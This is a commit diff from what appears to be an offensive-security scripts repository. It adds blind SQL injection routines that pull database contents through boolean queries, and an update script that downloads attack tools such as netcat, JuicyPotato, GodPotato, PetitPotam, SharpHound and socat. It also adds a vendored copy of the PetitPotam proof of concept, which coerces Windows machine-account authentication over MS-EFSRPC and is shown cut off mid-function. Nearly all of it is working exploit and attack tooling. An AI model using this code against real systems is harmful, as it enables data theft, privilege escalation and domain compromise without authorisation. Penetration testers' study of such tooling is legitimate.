|  |                 rows.append(list(map(lambda o: row[o], offsets))) | ||||||
|  | 
 | ||||||
|  |         return rows | ||||||
|  | 
 | ||||||
|  |     # todo: extract_multiple with columns as dict (name -> type), e.g. extract_multiple({"id": int, "name": str}) | ||||||
|  | 
 | ||||||
|  | class BlindSQLi(SQLi, ABC): | ||||||
|  | 
 | ||||||
|  |     @abstractmethod | ||||||
|  |     def blind_sqli(self, condition: str, verbose=False) -> bool: | ||||||
|  |         pass | ||||||
|  | 
 | ||||||
|  |     def extract_int(self, column: str, table=None, condition=None,  | ||||||
|  |                     offset=None, verbose=False, binary_search=True, | ||||||
|  |                     min_value=None, max_value=None): | ||||||
|  | 
 | ||||||
|  |         query = self.build_query(column, table, condition, offset) | ||||||
|  | 
 | ||||||
|  |         if self.blind_sqli(f"({query})=0"): | ||||||
|  |             return 0 | ||||||
|  | 
 | ||||||
|  |         if not binary_search: | ||||||
|  |             cur_int = 1 if min_value is None else min_value | ||||||
|  |             while self.blind_sqli(f"({query})>{cur_int}", verbose): | ||||||
|  |                 cur_int += 1 | ||||||
|  |                 if max_value is not None and cur_int >= max_value: | ||||||
|  |                     return None | ||||||
|  | 
 | ||||||
|  |             return cur_int | ||||||
|  |         else: | ||||||
|  |             if min_value is None or max_value is None: | ||||||
|  |                 min_value = 1 if min_value is None else min_value | ||||||
|  |                 max_value = 1 if max_value is None else max_value | ||||||
|  | 
 | ||||||
|  |                 while self.blind_sqli(f"({query})>{max_value}", verbose): | ||||||
|  |                     min_value = max_value + 1 | ||||||
|  |                     max_value = max_value * 2 | ||||||
|  | 
 | ||||||
|  |             while True: | ||||||
|  |                 cur_int = (min_value + max_value) // 2 | ||||||
|  |                 if self.blind_sqli(f"({query})>{cur_int}", verbose): | ||||||
|  |                     min_value = cur_int + 1 | ||||||
|  |                 elif self.blind_sqli(f"({query})<{cur_int}", verbose): | ||||||
|  |                     max_value = cur_int - 1 | ||||||
|  |                 else: | ||||||
|  |                     return cur_int | ||||||
|  | 
 | ||||||
|  |     def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False, max_length=None, charset=string.printable): | ||||||
|  | 
 | ||||||
|  |         if max_length is None: | ||||||
|  |             max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose) | ||||||
|  |             if verbose: | ||||||
|  |                 print("Fetched length:", max_length) | ||||||
|  | 
 | ||||||
|  |         cur_str = "" | ||||||
|  |         while True: | ||||||
|  |             found = False | ||||||
|  |             cur_column = self.ascii() + f"(substr({column},{len(cur_str) + 1},1))" | ||||||
|  |             if charset: | ||||||
|  |                 query = self.build_query(cur_column, table, condition, offset) | ||||||
|  |                 for c in charset: | ||||||
|  |                     if self.blind_sqli(f"({query})={ord(c)}"): | ||||||
|  |                         found = True | ||||||
|  |                         cur_str += c | ||||||
|  |                         if verbose: | ||||||
|  |                             sys.stdout.write(c) | ||||||
|  |                             sys.stdout.flush() | ||||||
|  |                         break | ||||||
|  |             else: | ||||||
|  |                 c = self.extract_int(cur_column, table, condition, min_value=0, max_value=127) | ||||||
|  |                 if c is not None: | ||||||
|  |                     found = True | ||||||
|  |                     cur_str += chr(c) | ||||||
|  |                     if verbose: | ||||||
|  |                         sys.stdout.write(chr(c)) | ||||||
|  |                         sys.stdout.flush()   | ||||||
|  |              | ||||||
|  |             if not found or (max_length is not None and len(cur_str) >= max_length): | ||||||
|  |                 break | ||||||
|  | 
 | ||||||
|  |         if verbose: | ||||||
|  |             print() | ||||||
|  | 
 | ||||||
|  |         return cur_str | ||||||
|  | 
 | ||||||
| 
 | 
 | ||||||
| class PostgreSQLi(SQLi, ABC): | class PostgreSQLi(SQLi, ABC): | ||||||
|     def get_database_version(self, verbose=False): |     def get_database_version(self, verbose=False): | ||||||
| @ -137,6 +253,8 @@ class PostgreSQLi(SQLi, ABC): | |||||||
|                                              f"table_schema='{schema}' AND table_name='{table}'", |                                              f"table_schema='{schema}' AND table_name='{table}'", | ||||||
|                                              verbose=verbose) |                                              verbose=verbose) | ||||||
| 
 | 
 | ||||||
|  |     def ascii(self): | ||||||
|  |         return "ascii" | ||||||
| 
 | 
 | ||||||
| class MySQLi(SQLi, ABC): | class MySQLi(SQLi, ABC): | ||||||
|     def get_database_version(self, verbose=False): |     def get_database_version(self, verbose=False): | ||||||
| @ -156,3 +274,28 @@ class MySQLi(SQLi, ABC): | |||||||
|         return self.extract_multiple_strings("column_name", "information_schema.columns", |         return self.extract_multiple_strings("column_name", "information_schema.columns", | ||||||
|                                              f"table_schema='{schema}' AND table_name='{table}'", |                                              f"table_schema='{schema}' AND table_name='{table}'", | ||||||
|                                              verbose=verbose) |                                              verbose=verbose) | ||||||
|  | 
 | ||||||
|  |     def ascii(self): | ||||||
|  |         return "ascii" | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | class SQLitei(SQLi, ABC): | ||||||
|  |     def get_database_version(self, verbose=False): | ||||||
|  |         return self.extract_string("sqlite_version()", verbose=verbose) | ||||||
|  | 
 | ||||||
|  |     def get_current_user(self, verbose=False): | ||||||
|  |         raise Exception("Not implemented!") | ||||||
|  | 
 | ||||||
|  |     def get_current_database(self, verbose=False): | ||||||
|  |         raise Exception("Not implemented!") | ||||||
|  | 
 | ||||||
|  |     def get_table_names(self, verbose=False): | ||||||
|  |         return self.extract_multiple_strings("name", "sqlite_schema", f"type='table'", | ||||||
|  |                                              verbose=verbose) | ||||||
|  | 
 | ||||||
|  |     def get_column_names(self, table: str, schema: str, verbose=False): | ||||||
|  |         # TODO: we could query the "sql" column and parse it using regex | ||||||
|  |         raise Exception("Not implemented!") | ||||||
|  | 
 | ||||||
|  |     def ascii(self): | ||||||
|  |         return "unicode" | ||||||
|  | |||||||
| @ -86,8 +86,10 @@ if __name__ == "__main__": | |||||||
|     variables = "\n".join(f"{k} = {v}" for k, v in variables.items()) |     variables = "\n".join(f"{k} = {v}" for k, v in variables.items()) | ||||||
|     header = f"""#!/usr/bin/env python |     header = f"""#!/usr/bin/env python | ||||||
| 
 | 
 | ||||||
| # THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY template.py, for more information, visit | # | ||||||
| # https://git.romanh.de/Roman/HackingScripts | # THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY {' '.join(sys.argv)} | ||||||
|  | # For more information, visit: https://git.romanh.de/Roman/HackingScripts | ||||||
|  | #  | ||||||
| 
 | 
 | ||||||
| import os | import os | ||||||
| import io | import io | ||||||
| @ -102,6 +104,7 @@ import urllib.parse | |||||||
| from bs4 import BeautifulSoup | from bs4 import BeautifulSoup | ||||||
| from hackingscripts import util, rev_shell | from hackingscripts import util, rev_shell | ||||||
| from hackingscripts.fileserver import HttpFileServer | from hackingscripts.fileserver import HttpFileServer | ||||||
|  | from hackingscripts.sqli import MySQLi, PostgreSQLi, BlindSQLi, ReflectedSQLi | ||||||
| from urllib3.exceptions import InsecureRequestWarning | from urllib3.exceptions import InsecureRequestWarning | ||||||
| requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) | ||||||
| 
 | 
 | ||||||
|  | |||||||
							
								
								
									
										38
									
								
								update.sh
									
									
									
									
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										38
									
								
								update.sh
									
									
									
									
									
								
							| @ -50,6 +50,7 @@ download https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh LinEnum.sh | |||||||
| download https://github.com/stealthcopter/deepce/raw/main/deepce.sh deepce.sh | download https://github.com/stealthcopter/deepce/raw/main/deepce.sh deepce.sh | ||||||
| download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py PetitPotam.py | download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py PetitPotam.py | ||||||
| 
 | 
 | ||||||
|  | echo "" | ||||||
| echo "Updating LinPEAS + WinPEAS…" | echo "Updating LinPEAS + WinPEAS…" | ||||||
| peas_version=$(get_latest_version carlospolop/PEASS-ng) | peas_version=$(get_latest_version carlospolop/PEASS-ng) | ||||||
| if [ ! -z "$peas_version" ]; then | if [ ! -z "$peas_version" ]; then | ||||||
| @ -62,7 +63,20 @@ else | |||||||
|   echo "Unable to determine latest PEAS version" |   echo "Unable to determine latest PEAS version" | ||||||
| fi | fi | ||||||
| 
 | 
 | ||||||
| echo "Updating Chisel…" | # TODO: add others | ||||||
|  | echo "" | ||||||
|  | echo "Updating windows tools…" | ||||||
|  | download https://live.sysinternals.com/accesschk.exe win/accesschk.exe | ||||||
|  | download https://live.sysinternals.com/accesschk64.exe win/accesschk64.exe | ||||||
|  | download https://github.com/int0x33/nc.exe/raw/master/nc.exe win/nc.exe | ||||||
|  | download https://github.com/int0x33/nc.exe/raw/master/nc64.exe win/nc64.exe | ||||||
|  | download https://github.com/k4sth4/Juicy-Potato/raw/main/x86/jp32.exe win/JuicyPotato.exe | ||||||
|  | download https://github.com/k4sth4/Juicy-Potato/raw/main/x64/jp.exe win/JuicyPotato64.exe | ||||||
|  | download https://github.com/uknowsec/SweetPotato/raw/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe win/SweetPotato.exe | ||||||
|  | download https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe win/GodPotato.exe | ||||||
|  | download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py win/PetitPotam.py | ||||||
|  | 
 | ||||||
|  | echo "" | ||||||
| chisel_version=$(get_latest_version jpillora/chisel v) | chisel_version=$(get_latest_version jpillora/chisel v) | ||||||
| if [ ! -z "$chisel_version" ]; then | if [ ! -z "$chisel_version" ]; then | ||||||
|   echo "Got Chisel version: $chisel_version" |   echo "Got Chisel version: $chisel_version" | ||||||
| @ -74,19 +88,17 @@ else | |||||||
|   echo "Unable to determine latest chisel version" |   echo "Unable to determine latest chisel version" | ||||||
| fi | fi | ||||||
| 
 | 
 | ||||||
| # TODO: add others |  | ||||||
| echo "Updating windows tools…" |  | ||||||
| download https://live.sysinternals.com/accesschk.exe win/accesschk.exe |  | ||||||
| download https://live.sysinternals.com/accesschk64.exe win/accesschk64.exe |  | ||||||
| download https://github.com/int0x33/nc.exe/raw/master/nc.exe win/nc.exe |  | ||||||
| download https://github.com/int0x33/nc.exe/raw/master/nc64.exe win/nc64.exe |  | ||||||
| download https://github.com/k4sth4/Juicy-Potato/raw/main/x86/jp32.exe win/JuicyPotato.exe |  | ||||||
| download https://github.com/k4sth4/Juicy-Potato/raw/main/x64/jp.exe win/JuicyPotato64.exe |  | ||||||
| download https://github.com/uknowsec/SweetPotato/raw/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe win/SweetPotato.exe |  | ||||||
| download https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe win/GodPotato.exe |  | ||||||
| 
 |  | ||||||
| sharphound_version=$(get_latest_version BloodHoundAD/SharpHound v) | sharphound_version=$(get_latest_version BloodHoundAD/SharpHound v) | ||||||
| if [ ! -z "$sharphound_version" ]; then | if [ ! -z "$sharphound_version" ]; then | ||||||
|   echo "Got Chisel version: $sharphound_version" |   echo "Got Sharphound version: $sharphound_version" | ||||||
|   download_zip https://github.com/BloodHoundAD/SharpHound/releases/download/v${sharphound_version}/SharpHound-v${sharphound_version}.zip win/ SharpHound.exe SharpHound.ps1 |   download_zip https://github.com/BloodHoundAD/SharpHound/releases/download/v${sharphound_version}/SharpHound-v${sharphound_version}.zip win/ SharpHound.exe SharpHound.ps1 | ||||||
| fi | fi | ||||||
|  | 
 | ||||||
|  | socat_version=$(get_latest_version "3ndG4me/socat" v) | ||||||
|  | if [ ! -z "$socat_version" ]; then | ||||||
|  |   echo "Got socat version: $socat_version" | ||||||
|  |   download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx86.bin socat | ||||||
|  |   download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx64.bin socat64 | ||||||
|  |   download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx86.exe win/socat.exe | ||||||
|  |   download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx64.exe win/socat64.exe | ||||||
|  | fi | ||||||
							
								
								
									
										461
									
								
								win/PetitPotam.py
									
									
									
									
									
										Normal file
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										461
									
								
								win/PetitPotam.py
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,461 @@ | |||||||
|  | #!/usr/bin/env python | ||||||
|  | #  | ||||||
|  | # Author: GILLES Lionel aka topotam (@topotam77) | ||||||
|  | #  | ||||||
|  | # Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo) my friends! | ||||||
|  | # "Most of" the code stolen from dementor.py from @3xocyte ;) | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | import sys | ||||||
|  | import argparse | ||||||
|  | 
 | ||||||
|  | from impacket import system_errors | ||||||
|  | from impacket.dcerpc.v5 import transport | ||||||
|  | from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT | ||||||
|  | from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR | ||||||
|  | from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY | ||||||
|  | from impacket.uuid import uuidtup_to_bin | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | show_banner = ''' | ||||||
|  |                                                                                                 | ||||||
|  |               ___            _        _      _        ___            _                      | ||||||
|  |              | _ \   ___    | |_     (_)    | |_     | _ \   ___    | |_    __ _    _ __    | ||||||
|  |              |  _/  / -_)   |  _|    | |    |  _|    |  _/  / _ \   |  _|  / _` |  | '  \   | ||||||
|  |             _|_|_   \___|   _\__|   _|_|_   _\__|   _|_|_   \___/   _\__|  \__,_|  |_|_|_|  | ||||||
|  |           _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|  | ||||||
|  |           "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'  | ||||||
|  |                                           | ||||||
|  |               PoC to elicit machine account authentication via some MS-EFSRPC functions | ||||||
|  |                                       by topotam (@topotam77) | ||||||
|  |        | ||||||
|  |                      Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | ''' | ||||||
|  | 
 | ||||||
|  | class DCERPCSessionError(DCERPCException): | ||||||
|  |     def __init__(self, error_string=None, error_code=None, packet=None): | ||||||
|  |         DCERPCException.__init__(self, error_string, error_code, packet) | ||||||
|  | 
 | ||||||
|  |     def __str__( self ): | ||||||
|  |         key = self.error_code | ||||||
|  |         if key in system_errors.ERROR_MESSAGES: | ||||||
|  |             error_msg_short = system_errors.ERROR_MESSAGES[key][0] | ||||||
|  |             error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] | ||||||
|  |             return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) | ||||||
|  |         else: | ||||||
|  |             return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code | ||||||
|  | 
 | ||||||
|  | 
 | ||||||
|  | ################################################################################ | ||||||
|  | # STRUCTURES | ||||||
|  | ################################################################################ | ||||||
|  | class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT): | ||||||
|  |     align = 1 | ||||||
|  |     structure = ( | ||||||
|  |         ('Data', '20s'), | ||||||
|  |     ) | ||||||
|  | class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT): | ||||||
|  |     align = 1 | ||||||
|  |     structure = ( | ||||||
|  |         ('Data', '20s'), | ||||||
|  |     ) | ||||||
|  | class EFS_EXIM_PIPE(NDRSTRUCT): | ||||||
|  |     align = 1 | ||||||
|  |     structure = ( | ||||||
|  |         ('Data', ':'), | ||||||
|  |     ) | ||||||
|  | class EFS_HASH_BLOB(NDRSTRUCT): | ||||||
|  |      | ||||||
|  |     structure = ( | ||||||
|  |         ('Data', DWORD), | ||||||
|  |         ('cbData', PCHAR), | ||||||
|  |     ) | ||||||
|  | class EFS_RPC_BLOB(NDRSTRUCT): | ||||||
|  |      | ||||||
|  |     structure = ( | ||||||
|  |         ('Data', DWORD), | ||||||
|  |         ('cbData', PCHAR), | ||||||
|  |     ) | ||||||
|  |      | ||||||
|  | class EFS_CERTIFICATE_BLOB(NDRSTRUCT): | ||||||
|  |     structure = ( | ||||||
|  |         ('Type', DWORD), | ||||||
|  |         ('Data', DWORD), | ||||||
|  |         ('cbData', PCHAR), | ||||||
|  |     )     | ||||||
|  | class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT): | ||||||
|  |     structure = ( | ||||||
|  |         ('Lenght', DWORD), | ||||||
|  |         ('SID', RPC_SID), | ||||||
|  |         ('Hash', EFS_HASH_BLOB), | ||||||
|  |         ('Display', LPWSTR), | ||||||
|  |     )    | ||||||
|  | class ENCRYPTION_CERTIFICATE(NDRSTRUCT): | ||||||
|  |     structure = ( | ||||||
|  |         ('Lenght', DWORD), | ||||||
|  |         ('SID', RPC_SID), | ||||||
|  |         ('Hash', EFS_CERTIFICATE_BLOB), | ||||||
|  |     | ||||||
|  |     )    | ||||||
|  | class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT): | ||||||
|  |     align = 1 | ||||||
|  |     structure = ( | ||||||
|  |         ('Cert', DWORD), | ||||||
|  |         ('Users', ENCRYPTION_CERTIFICATE_HASH), | ||||||
|  |     ) | ||||||
|  | class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):     | ||||||
|  |     structure = ( | ||||||
|  |         ('Type', DWORD), | ||||||
|  |         ('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST), | ||||||
|  |         ('Certif', ENCRYPTION_CERTIFICATE), | ||||||
|  |         ('Blob', EFS_RPC_BLOB), | ||||||
|  |     )    | ||||||
|  | class EFS_RPC_BLOB(NDRSTRUCT): | ||||||
|  |     structure = ( | ||||||
|  |         ('Data', DWORD), | ||||||
|  |         ('cbData', PCHAR), | ||||||
|  |     ) | ||||||
|  | class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT): | ||||||
|  |     align = 1 | ||||||
|  |     structure = ( | ||||||
|  |         ('Data', ':'), | ||||||
|  |     ) | ||||||
|  | 
 | ||||||
|  | ################################################################################ | ||||||
|  | # RPC CALLS | ||||||
|  | ################################################################################ | ||||||
|  | class EfsRpcOpenFileRaw(NDRCALL): | ||||||
|  |     opnum = 0 | ||||||
|  |     structure = ( | ||||||
|  |         ('fileName', WSTR),  | ||||||
|  |         ('Flag', ULONG), | ||||||
|  |     ) | ||||||
|  |      | ||||||
|  | class EfsRpcOpenFileRawResponse(NDRCALL): | ||||||
|  |     structure = ( | ||||||
|  |         ('hContext', EXIMPORT_CONTEXT_HANDLE), | ||||||
|  |         ('ErrorCode', ULONG), | ||||||
|  |     ) | ||||||
|  | class EfsRpcEncryptFileSrv(NDRCALL): | ||||||
|  |     opnum = 4 | ||||||
|  |     structure = ( | ||||||
|  |         ('FileName', WSTR), | ||||||
|  |     ) | ||||||
|  | 
 | ||||||
|  | class EfsRpcEncryptFileSrvResponse(NDRCALL): | ||||||
|  |     structure = ( | ||||||
|  |         ('ErrorCode', ULONG), | ||||||
|  |     ) | ||||||
|  | class EfsRpcDecryptFileSrv(NDRCALL): | ||||||
|  |     opnum = 5 | ||||||
|  |     structure = ( | ||||||
|  |         ('FileName', WSTR), | ||||||
|  |         ('Flag', ULONG), | ||||||
|  |     ) | ||||||
|  | 
 | ||||||
|  | class EfsRpcDecryptFileSrvResponse(NDRCALL): | ||||||
|  |     structure = ( | ||||||
|  |         ('ErrorCode', ULONG), | ||||||
|  |     ) | ||||||
|  | class EfsRpcQueryUsersOnFile(NDRCALL): | ||||||
|  |     opnum = 6 | ||||||
|  |     structure = ( | ||||||
|  |         ('FileName', WSTR), | ||||||
|  |          | ||||||
|  |     ) | ||||||
|  | class EfsRpcQueryUsersOnFileResponse(NDRCALL): | ||||||
|  |     structure = ( | ||||||
|  |         ('ErrorCode', ULONG), | ||||||
|  |     ) | ||||||
|  | class EfsRpcQueryRecoveryAgents(NDRCALL): | ||||||
|  |     opnum = 7 | ||||||
|  |     structure = ( | ||||||
|  |         ('FileName', WSTR), | ||||||
|  |          | ||||||
|  |     ) | ||||||
|  | class EfsRpcQueryRecoveryAgentsResponse(NDRCALL): | ||||||
|  |     structure = ( | ||||||
|  |         ('ErrorCode', ULONG), | ||||||
|  |     ) | ||||||
|  | class EfsRpcRemoveUsersFromFile(NDRCALL): | ||||||
|  |     opnum = 8 | ||||||
|  |     structure = ( | ||||||
|  |         ('FileName', WSTR), | ||||||
|  |         ('Users', ENCRYPTION_CERTIFICATE_HASH_LIST) | ||||||
|  |          | ||||||
|  |     ) | ||||||
|  | class EfsRpcRemoveUsersFromFileResponse(NDRCALL): | ||||||
|  |     structure = ( | ||||||
|  |         ('ErrorCode', ULONG), | ||||||
|  |     ) | ||||||
|  | class EfsRpcAddUsersToFile(NDRCALL): | ||||||
|  |     opnum = 9 | ||||||
|  |     structure = ( | ||||||
|  |         ('FileName', WSTR), | ||||||
|  |         ('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST) | ||||||
|  |          | ||||||
|  |     ) | ||||||
|  | class EfsRpcAddUsersToFileResponse(NDRCALL): | ||||||
|  |     structure = ( | ||||||
|  |         ('ErrorCode', ULONG), | ||||||
|  |     )     | ||||||
|  | class EfsRpcFileKeyInfo(NDRCALL): | ||||||
|  |     opnum = 12 | ||||||
|  |     structure = ( | ||||||
|  |         ('FileName', WSTR), | ||||||
|  |         ('infoClass', DWORD), | ||||||
|  |     ) | ||||||
|  | class EfsRpcFileKeyInfoResponse(NDRCALL): | ||||||
|  |     structure = ( | ||||||
|  |         ('ErrorCode', ULONG), | ||||||
|  |     ) | ||||||
|  | class EfsRpcDuplicateEncryptionInfoFile(NDRCALL): | ||||||
|  |     opnum = 13 | ||||||
|  |     structure = ( | ||||||
|  |         ('SrcFileName', WSTR), | ||||||
|  |         ('DestFileName', WSTR), | ||||||
|  |         ('dwCreationDisposition', DWORD), | ||||||
|  |         ('dwAttributes', DWORD), | ||||||
|  |         ('RelativeSD', EFS_RPC_BLOB), | ||||||
|  |         ('bInheritHandle', BOOL), | ||||||
|  |     )  | ||||||
|  |      | ||||||
|  | class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL): | ||||||
|  |     structure = ( | ||||||
|  |         ('ErrorCode', ULONG), | ||||||
|  |     ) | ||||||
|  | class EfsRpcAddUsersToFileEx(NDRCALL): | ||||||
|  |     opnum = 15 | ||||||
|  |     structure = ( | ||||||
|  |         ('dwFlags', DWORD), | ||||||
|  |         ('Reserved', EFS_RPC_BLOB), | ||||||
|  |         ('FileName', WSTR), | ||||||
|  |         ('dwAttributes', DWORD), | ||||||
|  |         ('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST), | ||||||
|  |     )  | ||||||
|  |      | ||||||
|  | class EfsRpcAddUsersToFileExResponse(NDRCALL): | ||||||
|  |     structure = ( | ||||||
|  |         ('ErrorCode', ULONG), | ||||||
|  |     ) | ||||||
|  | class EfsRpcFileKeyInfoEx(NDRCALL): | ||||||
|  |     opnum = 16 | ||||||
|  |     structure = ( | ||||||
|  |         ('dwFileKeyInfoFlags', DWORD), | ||||||
|  |         ('Reserved', EFS_RPC_BLOB), | ||||||
|  |         ('FileName', WSTR), | ||||||
|  |         ('InfoClass', DWORD), | ||||||
|  |     ) | ||||||
|  | class EfsRpcFileKeyInfoExResponse(NDRCALL): | ||||||
|  |     structure = ( | ||||||
|  |         ('ErrorCode', ULONG), | ||||||
|  |     ) | ||||||
|  | class EfsRpcGetEncryptedFileMetadata(NDRCALL): | ||||||
|  |     opnum = 18 | ||||||
|  |     structure = ( | ||||||
|  |         ('FileName', WSTR), | ||||||
|  |     ) | ||||||
|  | class EfsRpcGetEncryptedFileMetadataResponse(NDRCALL): | ||||||
|  |     structure = ( | ||||||
|  |         ('ErrorCode', ULONG), | ||||||
|  |     )    | ||||||
|  | class EfsRpcSetEncryptedFileMetadata(NDRCALL): | ||||||
|  |     opnum = 19 | ||||||
|  |     structure = ( | ||||||
|  |         ('FileName', WSTR), | ||||||
|  |         ('OldEfsStreamBlob', EFS_RPC_BLOB), | ||||||
|  |         ('NewEfsStreamBlob', EFS_RPC_BLOB), | ||||||
|  |         ('NewEfsSignature', ENCRYPTED_FILE_METADATA_SIGNATURE), | ||||||
|  |     ) | ||||||
|  | class EfsRpcSetEncryptedFileMetadataResponse(NDRCALL): | ||||||
|  |     structure = ( | ||||||
|  |         ('ErrorCode', ULONG), | ||||||
|  |     ) | ||||||
|  | class EfsRpcEncryptFileExSrv(NDRCALL): | ||||||
|  |     opnum = 21 | ||||||
|  |     structure = ( | ||||||
|  |         ('FileName', WSTR), | ||||||
|  |         ('ProtectorDescriptor', WSTR), | ||||||
|  |         ('Flags', ULONG), | ||||||
|  |     ) | ||||||
|  | class EfsRpcEncryptFileExSrvResponse(NDRCALL): | ||||||
|  |     structure = ( | ||||||
|  |         ('ErrorCode', ULONG), | ||||||
|  |     ) | ||||||
|  | #class EfsRpcQueryProtectors(NDRCALL): | ||||||
|  | #    opnum = 21 | ||||||
|  | #    structure = ( | ||||||
|  | #        ('FileName', WSTR), | ||||||
|  | #        ('ppProtectorList', PENCRYPTION_PROTECTOR_LIST), | ||||||
|  | #    ) | ||||||
|  | #class EfsRpcQueryProtectorsResponse(NDRCALL): | ||||||
|  | #    structure = ( | ||||||
|  | #        ('ErrorCode', ULONG), | ||||||
|  | #    ) | ||||||
|  | 
 | ||||||
|  | ################################################################################ | ||||||
|  | # OPNUMs and their corresponding structures | ||||||
|  | ################################################################################ | ||||||
|  | OPNUMS = { | ||||||
|  |     0   : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse), | ||||||
|  |     4   : (EfsRpcEncryptFileSrv, EfsRpcEncryptFileSrvResponse), | ||||||
|  |     5   : (EfsRpcDecryptFileSrv, EfsRpcDecryptFileSrvResponse), | ||||||
|  |     6   : (EfsRpcQueryUsersOnFile, EfsRpcQueryUsersOnFileResponse), | ||||||
|  |     7   : (EfsRpcQueryRecoveryAgents, EfsRpcQueryRecoveryAgentsResponse), | ||||||
|  |     8   : (EfsRpcRemoveUsersFromFile, EfsRpcRemoveUsersFromFileResponse), | ||||||
|  |     9   : (EfsRpcAddUsersToFile, EfsRpcAddUsersToFileResponse), | ||||||
|  |     12   : (EfsRpcFileKeyInfo, EfsRpcFileKeyInfoResponse), | ||||||
|  |     13   : (EfsRpcDuplicateEncryptionInfoFile, EfsRpcDuplicateEncryptionInfoFileResponse), | ||||||
|  |     15   : (EfsRpcAddUsersToFileEx, EfsRpcAddUsersToFileExResponse), | ||||||
|  |     16   : (EfsRpcFileKeyInfoEx, EfsRpcFileKeyInfoExResponse), | ||||||
|  |     18   : (EfsRpcGetEncryptedFileMetadata, EfsRpcGetEncryptedFileMetadataResponse), | ||||||
|  |     19   : (EfsRpcSetEncryptedFileMetadata, EfsRpcSetEncryptedFileMetadataResponse), | ||||||
|  |     21   : (EfsRpcEncryptFileExSrv, EfsRpcEncryptFileExSrvResponse), | ||||||
|  | #    22   : (EfsRpcQueryProtectors, EfsRpcQueryProtectorsResponse), | ||||||
|  | } | ||||||
|  |   | ||||||
|  | class CoerceAuth(): | ||||||
|  |     def connect(self, username, password, domain, lmhash, nthash, target, pipe, doKerberos, dcHost, targetIp): | ||||||
|  |         binding_params = { | ||||||
|  |             'lsarpc': { | ||||||
|  |                 'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target, | ||||||
|  |                 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') | ||||||
|  |             }, | ||||||
|  |             'efsr': { | ||||||
|  |                 'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target, | ||||||
|  |                 'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0') | ||||||
|  |             }, | ||||||
|  |             'samr': { | ||||||
|  |                 'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target, | ||||||
|  |                 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') | ||||||
|  |             }, | ||||||
|  |             'lsass': { | ||||||
|  |                 'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target, | ||||||
|  |                 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') | ||||||
|  |             }, | ||||||
|  |             'netlogon': { | ||||||
|  |                 'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target, | ||||||
|  |                 'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0') | ||||||
|  |             }, | ||||||
|  |         } | ||||||
|  |         rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding']) | ||||||
|  |         if hasattr(rpctransport, 'set_credentials'): | ||||||
|  |             rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash) | ||||||
|  | 
 | ||||||
|  |         if doKerberos: | ||||||
|  |             rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) | ||||||
|  |         if targetIp: | ||||||
|  |             rpctransport.setRemoteHost(targetIp) | ||||||
|  | 
 | ||||||
|  |         dce = rpctransport.get_dce_rpc() | ||||||
|  |         dce.set_auth_type(RPC_C_AUTHN_WINNT) | ||||||
